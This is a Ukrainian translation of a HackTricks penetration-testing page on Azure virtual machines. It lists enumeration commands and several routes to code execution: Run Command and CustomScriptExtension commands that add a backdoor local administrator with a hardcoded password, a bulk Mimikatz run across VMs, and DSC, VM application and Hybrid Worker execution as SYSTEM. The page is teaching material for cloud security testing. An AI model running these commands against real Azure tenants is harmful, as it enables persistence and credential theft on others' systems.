Az - Virtual Machines & Network

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

З документації: Віртуальні машини Azure - це один із кількох типів обчислювальних ресурсів на вимогу та масштабованих, які пропонує Azure. Зазвичай ви обираєте віртуальну машину, коли вам потрібно більше контролю над обчислювальним середовищем, ніж це пропонують інші варіанти. Ця стаття надає вам інформацію про те, що варто врахувати перед створенням віртуальної машини, як її створити та як нею керувати.

Інформація про мережу Azure

Мережі Azure містять різні сутності та способи конфігурації. Ви можете знайти короткі описи, приклади та команди переліку різних сутностей мережі Azure в:

pageAz - Azure Network

Azure Bastion

Azure Bastion пропонує безпечний, повністю керований доступ RDP (Remote Desktop Protocol) та SSH (Secure Shell) через SSL через портал Azure. Він інтегрований у межах віртуальної мережі Azure, що дозволяє підключення RDP та SSH до ВМ за допомогою приватних IP-адрес, уникнення необхідності публічних IP-адрес. Це робить його безпечнішим, зручнішим альтернативою традиційним методам, що включають призначення публічних IP-адрес та конфігурації правил NSG для доступу до ВМ. Розробники та ІТ-персонал можуть безпечно отримувати доступ до ВМ з порталу Azure за допомогою веб-браузерів, що спрощує процес для середовищ розробки та тестування.

Для переліку всіх хостів Azure Bastion у вашій підписці ви можете використовувати наступну команду:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Перелік віртуальних машин

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Виконання команд у віртуальній машині

AAD Вхід у ВМ

Можливо надати доступ користувачам, які автентифіковані через AzureAD. Наприклад, спробуйте отримати доступ до linux VM: ssh username@azure-corp.com@1.1.1.1 (важливо використовувати електронну пошту з azurecorp, яку використовували при спробі входу) можливо отримати помилку:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Просто слідуйте цим інструкціям, перейдіть на https://microsoft.com/devicelogin та вкажіть код, використовуйте електронну адресу та пароль як облікові дані, і ви зможете підключитися через SSH (якщо у цього користувача є достатньо дозволів для цього: роль Вхід адміністратора віртуальної машини або Вхід користувача віртуальної машини).

Виконати команду

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Виконання розширення власного скрипта

Розширення віртуальних машин (VM) Azure - це невеликі додатки, які забезпечують конфігурацію після розгортання та автоматизацію завдань на VM Azure. Наприклад, якщо віртуальній машині потрібна установка програмного забезпечення, антивірусний захист або можливість виконання скрипта всередині неї, ви можете використовувати розширення VM.

Отже, якщо у вас є доступ для запису, ви можете виконати довільний код:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

Бажаний стан конфігурації (DSC)

Бажаний стан конфігурації (DSC) - це інструмент PowerShell, схожий на Ansible, який використовується для налаштування хоста через код. DSC інтегрується з Azure, дозволяючи завантажувати конкретні файли конфігурації. Ці файли повинні відповідати строгому синтаксису. Зокрема, розширення DSC в Azure може виконувати команди з файлів, які відповідають певним критеріям форматування, навіть якщо синтаксис не відповідає стандартам DSC, як показано на наданій фігурі.

Виконання цих команд спрощується за допомогою функції Publish-AzVMDscConfiguration в Az PowerShell. Вимоги включають файл .PS1 з визначеною функцією та файл повинен бути запакований у файл .zip. Навіть якщо синтаксис може бути невірним для DSC, код все одно буде виконуватися. Однак розширення позначатиме статус виконання як "помилка", і вивід від команди не буде видно через те, що статус буде перезаписаний повідомленням про помилку.

Визначення додатків для ВМ

Визначення додатків для ВМ дозволяють повторно розгортати версіоновані додатки на віртуальну машину Azure. Цей ресурс підтримує розгортання та оновлення додатків на ВМ. Для налаштування цього необхідно виконати кілька кроків, включаючи команди, такі як New-AzGalleryApplication та New-AzGalleryApplicationVersion в Az PowerShell.

Виконання додатків або команд через цей метод включає "VMAppExtension", який встановлюється автоматично, коли додаток застосовується до ВМ. Розширення отримує файл з вказаного URI та називає його точно так само, як додаток, без розширення. Для правильного виконання файлу поле "ManageActions" у виклику REST API повинно бути налаштоване на перейменування файлу з відповідним розширенням. Налаштування цього методу, якщо воно завершено, буде схоже на структуру, показану на наданій фігурі.

Однак цей метод виконання є відносно повільним, займаючи близько 3-4 хвилин для виконання додатка або команди. Файли, пов'язані з цим процесом, зберігаються в конкретних каталогах (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ для копіювання додатка та C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ для статусу виконання).

Обидва методи надають унікальні способи виконання команд та розгортання додатків в середовищах Azure, кожен зі своїм набором вимог, кроків та врахувань.

Групи гібридних робочих станцій (HWGs) в Azure

Групи гібридних робочих станцій (HWGs) - це функція в Azure, яка дозволяє виконувати Runbooks, налаштовані в обліковому записі автоматизації, на віртуальній машині Azure (VM), яка є частиною визначеної HWG. Це виконання спрощується за допомогою розширення, встановленого на ВМ, яке розгортає код Runbook на ВМ. Важливим аспектом цього процесу є те, що фактичні облікові дані не враховуються при виконанні, оскільки код виконується з підвищеними привілеями, зокрема як SYSTEM або root, як показано на наданій фігурі.

Важливою деталлю для тих, хто використовує віртуальні машини Windows 10, є необхідність вказати версію PowerShell для Runbook. Вона повинна бути встановлена для запуску як версія PowerShell 5.1 замість 7.1. Ця вимога випливає з того, що PowerShell 7.1 не встановлюється за замовчуванням на цих ВМ, що може призвести до невдачі у виконанні скрипта, якщо вказана версія 7.1.

Ця функція Azure пропонує надійний метод автоматизації та управління завданнями в гібридних середовищах, дозволяючи централізоване управління та виконання завдань на віртуальних машинах Azure.

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated